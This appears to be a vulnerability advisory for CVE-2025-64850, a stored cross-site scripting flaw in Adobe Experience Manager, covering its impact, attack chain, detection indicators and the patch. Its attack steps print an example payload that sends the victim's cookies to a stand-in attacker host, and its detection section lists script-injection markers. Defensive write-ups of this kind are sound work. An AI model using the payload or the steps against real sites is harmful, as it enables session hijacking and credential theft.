CVE-2025-64850: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64850 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, and patched on December 10, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, authenticated attacker can inject malicious JavaScript into vulnerable form fields within AEM, which is then persistently stored and executed in the browser of any user who visits the affected page. Exploitation requires user interaction (a victim browsing to the page containing the malicious content) and operates over the network with low attack complexity. The changed scope indicates the injected script can affect resources beyond the vulnerable component itself (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, or further phishing attacks. The confidentiality and integrity of data accessible to the victim's session are at risk, though availability is not directly impacted. Because the payload is stored server-side, any user browsing the affected page — including administrators — may be targeted, amplifying the potential blast radius (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using network scanning or web fingerprinting techniques.
2. Authentication: Obtain low-privileged credentials to the AEM instance (e.g., through phishing, credential stuffing, or use of a legitimate account).
3. Identify vulnerable form fields: Browse AEM's content authoring or administration interfaces to locate form fields that do not properly sanitize user input before storing it.
4. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/submit the form.
5. Trigger victim execution: Wait for a target user (e.g., an administrator) to browse to the page containing the stored payload; the malicious script executes in their browser context, enabling session hijacking or further attacks (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints containing encoded JavaScript tags (e.g., %3Cscript%3E, <script>, onerror=, onload=) in form field parameters.
• Network: Outbound HTTP requests from victim browsers to unexpected external domains shortly after visiting AEM-hosted pages; unusual data exfiltration patterns (e.g., cookie values in query strings to unknown hosts).
• File System / Content Repository: Presence of JavaScript payloads within stored AEM content nodes (JCR repository); unexpected script tags in page content when reviewing raw content via CRXDE Lite or package manager exports.
• Process/Browser: Unexpected redirects or pop-ups experienced by users browsing AEM-authored pages; browser developer console errors related to cross-origin script execution.

Adobe has released patches addressing CVE-2025-64850 as part of security bulletin APSB25-115. Users should upgrade AEM on-premises to version 6.5.24.0 or later, and AEM Cloud Service customers should ensure their environment is updated to the 2025.12.0 release or later. No specific configuration-based workaround has been publicly documented; upgrading to the patched version is the recommended remediation. Organizations should also review stored content in AEM for signs of injected scripts as a precautionary measure (Adobe Advisory).

The vulnerability was disclosed as part of Adobe's December 2025 Patch Tuesday security bulletin (APSB25-115), which addressed a large number of AEM vulnerabilities across critical and important severity levels. No notable independent researcher commentary or significant social media discussion specific to CVE-2025-64850 has been identified. Tenable published a Nessus detection plugin (ID 278346) shortly after disclosure, enabling automated scanning for the vulnerability (Tenable, Adobe Advisory).